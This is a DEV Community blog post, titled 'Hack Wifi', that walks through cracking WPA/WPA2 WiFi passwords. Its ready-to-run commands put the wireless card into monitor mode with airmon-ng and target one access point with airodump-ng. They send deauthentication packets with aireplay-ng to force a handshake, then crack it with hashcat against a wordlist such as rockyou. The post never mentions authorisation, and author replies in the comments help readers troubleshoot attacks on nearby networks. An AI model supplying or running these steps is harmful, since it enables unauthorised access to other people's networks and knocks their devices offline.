DEV Community

loading...
Cover image for Hack Wifi (WPA/WPA2) with Aircrack-ng

Hack Wifi (WPA/WPA2) with Aircrack-ng

mh_shifat profile image 5hfT Updated on ・2 min read

Crack-WIFI-WPA2 in Linux!

Prerequirments :

  • Aircrack-ng : sudo apt install aircrack-ng

Lets capture the flag (I mean Handshake):

Open terminal.....

Terminal-1:

  1. Detect your wireless network interface :
ifconfig
Enter fullscreen mode Exit fullscreen mode

Interfaces

if coudn't find command then try :

/sbin/ifconfig
Enter fullscreen mode Exit fullscreen mode

lets take wlp3s0 as the wireless interface

  1. Start monitor mode :
sudo airmon-ng start wlp3s0 
Enter fullscreen mode Exit fullscreen mode

Enable Monitor mode

  1. capture traffic :
sudo airodump-ng wlp3s0mon 
Enter fullscreen mode Exit fullscreen mode

Monitoring

Terminal-2:

  1. select target and focus on one AP on channel:
sudo airodump-ng --bssid xx.xx.xx.xx.xx.xx -c y --write filename wlp3s0mon
Enter fullscreen mode Exit fullscreen mode
  • xx.xx.xx.xx.xx.xx defines : AP BSSID -> 00.11.22.33.44.55 (suppose)
  • y defines : AP channel -> 10 (suppose)
  • filename is the file name where the handshake will captute and make some other stuffs .

Monitong target

Terminal-3:

  1. Send traffic to the channel :
sudo aireplay-ng --deauth y -a xx.xx.xx.xx.xx.xx  wlp3s0mon
Enter fullscreen mode Exit fullscreen mode
  • ammoun of traffic-> y

Deauth

  1. Capture handshake : it will be shown in the monitor if captured ! at Terminal-2.

  2. Now you got the handshake .(terminal-2)

  3. Stop the process of terminal-2 : ctrl+c

Now Lets crack the password !

There will be a WPAcrack-01.cap file in your home directory

  1. convert cap file into hccapx file : https://www.onlinehashcrack.com/tools-cap-to-hccapx-converter.php

or

  1. use cap2hccapx.c file to convert the cap file to hccapx file
gcc cap2hccapx.c -o cap2hccapx && ./cap2hccapx file.cap file.hccapx
Enter fullscreen mode Exit fullscreen mode

cap to hccapx

  1. Crack password using hashcat :
  • Install hashcat :sudo apt install hashcat
  • check is everything oky ? : hashcat -I to use hashcat you need gpu
  • crack password :
sudo  hashcat -m 2500 wpacrack.hccapx dictionary.txt
Enter fullscreen mode Exit fullscreen mode
  • dictionary.txt -> word list (suppose)
  • wpacrack.hccapx is the handshake file

hashcat

Status

Then you will get the password.

password

Here is the git repo you can find cap2hccapx.c

Discussion

pic
Editor guide
Collapse
abby1611 profile image
Abhay Pratap Singh

airodump-ng does not discover any wifi networks, though they all are in very close proximity and good strength, they are visible on my phone but airodump-ng shows this and stays like this forever, without any change

Collapse
mh_shifat profile image
5hfT Author

sometimes it cant capture the handshake and there can be may reasons for that like your wirelesses adapter is not capable of capturing it, weak signal bla bla.....

Try to stay close to the targeted device.

Collapse
abby1611 profile image
Abhay Pratap Singh

Yes i searched about it a lot on the internet and finally got to know that there is some issue with the QUALCOM ATHEROS Q933... adapter which comes in a lot of devicesand the only possible solution for this is to use an external Wi-Fi card

Thread Thread
mh_shifat profile image
Collapse
okisyima profile image
okisyima

where are locate a wordlist?
where a wordlist from?

Collapse
mh_shifat profile image
5hfT Author

you can make your own word lists or you can download from internet.
There are a lot of word lists made by the hackers.
One of the popular word list is rock you.txt you can google it.

Collapse
okisyima profile image
okisyima

thank you sir

Thread Thread
mh_shifat profile image
5hfT Author

your most welcome..

Collapse
chrisachinga profile image
ChrisAchinga

I do not understand

Collapse
mh_shifat profile image
5hfT Author

Exactly what didnt you understan? 😕

Collapse
spdfrk24 profile image
spdfrk24

where can I view the password after cracking the password. when I type "hashcat -m 2500 myfilename.hccapx rockyou.txt --show" nothing happen. Thanks

Collapse
mh_shifat profile image
5hfT Author

When you are using a wordlist to crack the password using sudo hashcat -m 2500 wpacrack.hccapx dictionary.txt you will find the password in terminal if your wordlist have the password.